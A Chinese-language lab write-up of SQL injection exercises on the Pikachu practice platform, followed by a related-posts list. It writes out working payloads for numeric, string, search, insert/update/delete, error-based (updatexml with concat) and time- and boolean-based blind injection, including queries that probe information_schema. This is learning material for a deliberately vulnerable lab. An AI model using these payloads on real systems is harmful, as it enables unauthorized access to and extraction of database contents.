这里因为实验的时候只记录了一部分所以就展示一部分

1.1.1数字型注入

(1)看到界面发现是查询id功能,没有在url里看到有传参所以应该是post方法提交数据。

(2)进行sql注入之前我们最好是先想像一下这个功能提交的参数到了后台之后后台是怎样的操作的,对于当前的页面我猜测后台是这样操作

现接受我的id请求然后带入到查询语句

$id=$_POST['id']

select 字段1,字段2 from 表名 where id = $id

可以用下面的语句添加在等号后面来测试是否真确(post请求通过抓包的方式来进行测试)

1 or 1=1;

可以看到返回的是200

然后查看返回的结果可以看到把所有的结果都查询出来了。所以有漏洞并且是数字型的

1.1.2 字符型注入

查看页面发现是get请求

(1)首先也是猜想后台进行的操作,因为是查询名字,先将我们查询的数值赋给一个变量

$uname=$_GET['username']

select 字段1,字段2 from 表名 where username='$uname ' or 1=1#';

or = 1=1#验证漏洞是否存在,#号注释闭合‘’

测试结果

1.1.3 搜索型以及xx型注入

(1)搜索型

看到界面是用户名查找我首先还是进行猜测后台的操作,猜测后台可能使用的是mysql的搜索功能,mysql查询语句

Select * from member where username like ’$$’;

对于我们渗透者来时要进行一个闭合构造

Payload:xxxx%' or 1=1 #

测试结果

(2)xx型

查看页面发现与搜索型类似,但是测试发现拼接闭合的语句不同,查看源码发现是括号闭合,所以可以得到payload的类型是多种多样的。

原理方法与搜索型类似,所以构造payload

xx') or 1=1 #

但实际渗透测试过程中不可能得到目标网站的源码,这时候就需要根据经验和多测试。比如发现一个输入框,就首先进行单双引号测试

aaa” or 1=1# 或者 aaa’or 1=1#等等等。

主要是通过输入来看返回,来看我们的输入有没有参与到数据库后台的运算里面.

1.1.4”insert/updata”注入

(1)insert

看到界面发现是注册猜测后台数据库操作应该是insert命令,我们点击注册,我们先进行单引号测试

提交发现出现错误意味着提交的语法在后台参与了操作。

然后我们得知道mysqlinsert语句的用法

Insert into member(username,pw,sex,phonenum,email,address)values(‘xxxxxxxx’11111,1,2,3,4);

要构造闭合首先在我们可以输入的部分就是‘xxxx’里插入报错函数

Updatexml()

kobe' and updatexml(1,version(),0)#

updataxml(是mysql对xml文档函数进行出巡和修改的Xpath函数)

函数有三个参数第一个数指定xml文档表的字段名称,第二个是指定要替换的位置,第三个是新的值,但这三个值都是错误的。

第一个是不存在的,最后一个0因为前面的是不存在的所以替换也是没有意义的。关键是中间的数值,中间的数值也可以用表达式的形式,函数会把这个表达式执行了然后以报错的形式返回出来。

测试

发现没有返回完整的版本号信息,这里因为我们没有进行处理。

这里我们对函数进行处理加入concat函数意思是将传进去的参数组合成一个字符串打印出来,concat也可以执行表达式也就是将 0x7e和version()结果组合成一个字符串打印出来

kobe' and updatexml(1,concat(0x7e,version()),0)#

kobe' and updatexml(1,concat(0x7e,database()),0)#

0x7e是~号的十六进制

测试:

xiaohong' or updatexml(1,concat(0x7e,database()),0) or '

发现成功返回报错打印数据库名称

(2)update

首先登陆之后发现可以修改个人信息

Update语法与insert差不多我们将之前的palyload输入

xiaohong' or updatexml(1,concat(0x7e,database()),0) or '

提交测试:

发现一样可以返回报错

1.1.5”delete”注入

首先看到界面有请求和删除功能我们点击删除,之后再burp上查看

猜测因为对于后台来说其实就是获取了id,然后进行删除操作,所以我们就对id进行操作,还是使用之前的updatexml函数构造payload

1 or updatexml(1,concat(0x7e,database()),0)

将payload带入burp里面,因为参数是url类型进行提交的所以要进行URL编码

可以看到空格都变成了+号

最后看返回

成功报错。

1.1.6盲注(基于时间)

Base time注入输入单引号不会返回报错,一般方法也不会返回报错,

这时候我们猜测是否为base time 的注入

先打开控制台f12选择网络

然后输入payload:kobe' and sleep(5)#

发现执行了我们的语句延迟五秒,证明存在base time的注入

然后就可以构造我们的payload

kobe' and if((substr(database(),1,1))='a',sleep(5),null)#

通过一个if语句让数据库名称的第一个字符与a进行比较,如果一样就会暂停五秒,如果不等于就为假不暂停。

然后就慢慢进行尝试

1.1.7盲注(基于boolean)

1.基于boolean的与基于time的一样,用之前的方法都不会返回报错。

2.不管是输入正确,还是输入错误,都只显示两种情况(可以认为是0或者1)

3.在输入正确的情况下,输入and1=1/and1=2发现可以判断

测试,通过输入正确的名字加上我们的语句and 1=1#发现,也成功返回信息。

然后输入kobe' and 1=2#,发现有报错,判定是存在sql注入的,但是前端返回信息特别少。用我之前的报错函数payload输入也不能获得报错。怎么办呢。

办法总比困难多

这里我们使用一个这里substr函数,先了解什么是substr函数

Select substr(database(),1,1);

意思是使用取出数据库名称的第一个字符一次取出一个。

那我们如何知道要猜的名称长度,这里再用一个函数,length获得长度,但是基于boolean函数的只能返回真假所以

Length(database())>8,通过这种方式来猜,

(1)测试payload

kobe' and ascii(substr(database(),1,1))>113#

前面为真如果and后面也为真就会返回kobe的信息,根据真假来判断我们的猜测

先去猜测数据库第一个字符的ascii码大于113

返回为假

再次猜测

kobe' and ascii(substr(database(),1,1))=112#

返回为真。

现在进行进一步构造payload

将database()替换为查找数据库里第一个表的表名,之后再去一个个判断字符

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#

返回为真,说明数据库第一个表的表名的第一个字符的ASCII码小于112,然后以此类推就可以猜到完整的。

手工盲注效率还是很慢,所以我们只需要搞懂原理,在实际测试的过程中还是需要自动化的工具,例如sqlmap之类的,由于之前测试的时候没有记录,这里就不演示了。

pikachu漏洞练习之sql注入的更多相关文章

  1. 漏洞重温之sql注入(五)

    漏洞重温之sql注入(五) sqli-labs通关之旅 填坑来了! Less-17 首先,17关,我们先查看一下页面,发现网页正中间是一个登录框. 显然,该关卡的注入应该为post型. 直接查看源码. ...

  2. 漏洞重温之sql注入(六)

    漏洞重温之sql注入(六) sqli-labs通关之旅 Less-26 进入第26关,首先我们可以从网页的提示看出本关是get型注入. 我们给页面添加上id参数后直接去查看源码. 需要关注的东西我已经 ...

  3. 漏洞重温之sql注入(七)

    漏洞重温之sql注入(七) sqli-labs通关之旅 Less-31 首先,进入31关,我们先添加上id参数. 然后,我们查看源码. 我们门可以看到,index页面源码其实很简单,网页也没有对我们的 ...

  4. DVWA漏洞演练平台 - SQL注入

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  5. 【漏洞汇总】SQL 注入漏洞之 mysql

    日期:2019-07-23 19:55:59 更新:2019-08-02 10:40:37 作者:Bay0net 介绍:Mysql 注入笔记 0x01. 基本信息 1.1 基本术语 数据库: 数据库是 ...

  6. Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。

    Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...

  7. WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞

    漏洞名称: WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞 CNNVD编号: CNNVD-201310-499 发布时间: 2013-10-23 更新时间: 20 ...

  8. WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞

    漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...

  9. 关于sql注入漏洞的挖掘及渗透工具简介

    大量的现代企业采用Web应用程序与其客户无缝地连接到一起,但由于不正确的编码,造成了许多安全问题.Web应用程序中的漏洞可使黑客获取对敏感信息(如个人数据.登录信息等)的直接访问. Web应用程序准许 ...

随机推荐

  1. jquery的offset().top和js的offsetTop的区别,以及jquery的offset().top的实现方法

    jquery的offset().top和js的offsetTop的区别,以及jquery的offset().top的实现方法 offset().top是JQ的方法,需要引入JQ才能使用,它获取的是你绑 ...

  2. 51nod 1832 前序后序遍历

    思路:设只有一颗子树的节点有ans个设前序边历数组为pre[100],后序遍历数组为pos[100]:前序遍历的第二个元素是A的一个子节点左右节点不知,设ax-ay表示一个树的前序遍历,bx-by表示 ...

  3. CSS3 属性学习

    fill-available表示撑满可用空间(包括高度,宽度)[此处包括padding和margin会尽可能的撑满,只对于行内块(inline-block)和块元素(block)起作用,webkit内 ...

  4. python数据分析经常使用的库

    这个列表包含数据分析经常使用的Python库,供大家使用.1. 网络通用urllib -网络库(stdlib).requests -网络库.grab – 网络库(基于pycurl).pycurl – ...

  5. Java 学习笔记(9)——java常用类

    之前将Java的大部分语法都回顾完了,后面添加一些常见的操作,基础语法就结束了.至于在这里再次提到常用类是由于有一部分体现在使用它的继承类或者接口之类的.这些需要有面向对象编程的基础 Object类 ...

  6. 学习Java第二周

    这是学习java的第二周,又这样不知不觉的结束了 上周想要学习的这一周也都做到了,可是觉得进度有些慢了,学习了: 1. 接口和抽象类: 2. 集合与数组: 3. 方法的定义: 4. 递归算法: 5.对 ...

  7. (Go) 1. go环境配置

    第一步: 下载配置环境 转载: https://www.liwenzhou.com/posts/Go/go_menu/ 1.下载地址: https://golang.google.cn/dl/ 2.安 ...

  8. 洛谷$P$3160 局部极小值 $[CQOI2012]$ 状压$dp$

    正解:状压$dp$ 解题报告: 传送门! 什么神仙题昂,,,反正我是没有想到$dp$的呢$kk$,,,还是太菜了$QAQ$ 首先看数据范围,一个4×7的方格,不难想到最多有8个局部极小值,过于显然懒得 ...

  9. $BZOJ$2818 $gcd$ 莫比乌斯反演/欧拉函数

    正解:莫比乌斯反演/欧拉函数 解题报告: 传送门$QwQ$ 一步非常显然的变形,原式=$\sum_{d=1,d\in prim}^{n}\sum_{i=1}^{n}\sum_{j=1}^{n}[gcd ...

  10. 推荐中的多任务学习-ESMM

    本文将介绍阿里发表在 SIGIR'18 的论文ESMM<Entire Space Multi-Task Model: An Effective Approach for Estimating Po ...